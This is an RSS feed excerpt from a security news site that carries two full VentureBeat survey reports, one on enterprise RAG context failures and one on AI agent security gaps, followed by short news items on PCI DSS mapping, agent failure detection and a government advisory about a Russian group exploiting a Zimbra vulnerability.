<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mapping PCI DSS v4.0.1 to the NIST Cybersecurity Framework 2.0]]></title>
<description><![CDATA[The PCI Security Standards Council (PCI SSC) has published a document which maps the PCI Data Security Standard (PCI DSS) v4.0.1 to the National Institute of Standards and Technology (NIST) Cybersecurity Framework (CSF) 2.0. With both organizations sharing the common goal to enhance data security...]]></description>
<link>https://tsecurity.de/de/3689766/it-security-nachrichten/mapping-pci-dss-v401-to-the-nist-cybersecurity-framework-20/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689766/it-security-nachrichten/mapping-pci-dss-v401-to-the-nist-cybersecurity-framework-20/</guid>
<pubDate>Thu, 23 Jul 2026 19:00:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://blog.pcisecuritystandards.org/mapping-pci-dss-v4.0.1-to-the-nist-cybersecurity-framework-2.0" title="" class="hs-featured-image-link"> <img src="https://blog.pcisecuritystandards.org/hubfs/2026-blog/pci-nist-blog_new.jpg" alt="Mapping PCI DSS v4.0.1 to the NIST Cybersecurity Framework 2.0" class="hs-featured-image"> </a> 
</div> 
<br> 
<p>The PCI Security Standards Council (PCI SSC) has published a document which maps the PCI Data Security Standard (PCI DSS) v4.0.1 to the National Institute of Standards and Technology (NIST) Cybersecurity Framework (CSF) 2.0. With both organizations sharing the common goal to enhance data security, this document provides a resource for stakeholders to use in understanding how to align security efforts to meet objectives in both PCI DSS and the NIST CSF.  </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Detecting silent agent failures with Amazon Bedrock AgentCore optimization]]></title>
<description><![CDATA[Amazon Bedrock AgentCore optimization surfaces silent behavioral failures in production AI agents: the ones that pass every health check but still deliver wrong outcomes. Learn how insights discovers, explains, and ranks failure patterns across sessions so you can fix the highest-impact issues fi...]]></description>
<link>https://tsecurity.de/de/3689762/ai-nachrichten/detecting-silent-agent-failures-with-amazon-bedrock-agentcore-optimization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689762/ai-nachrichten/detecting-silent-agent-failures-with-amazon-bedrock-agentcore-optimization/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon Bedrock AgentCore optimization surfaces silent behavioral failures in production AI agents: the ones that pass every health check but still deliver wrong outcomes. Learn how insights discovers, explains, and ranks failure patterns across sessions so you can fix the highest-impact issues first.]]></content:encoded>
</item>
<item>
<title><![CDATA[Most RAG Hallucinations Are Extraction Errors: Seven Patterns for a Typed Generation Contract]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #8ter] - Naming the RAG error correctly matters: model reads the context, so a wrong answer is an extraction error, not a hallucination. Seven typed-contract patterns keep the generation brick honest, with a decomposition rule for small models
The post Most...]]></description>
<link>https://tsecurity.de/de/3689451/ai-nachrichten/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689451/ai-nachrichten/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/</guid>
<pubDate>Thu, 23 Jul 2026 17:06:24 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #8ter] - Naming the RAG error correctly matters: model reads the context, so a wrong answer is an extraction error, not a hallucination. Seven typed-contract patterns keep the generation brick honest, with a decomposition rule for small models</p>
<p>The post <a href="https://towardsdatascience.com/most-rag-hallucinations-are-extraction-errors-seven-patterns-for-a-typed-generation-contract/">Most RAG Hallucinations Are Extraction Errors: Seven Patterns for a Typed Generation Contract</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
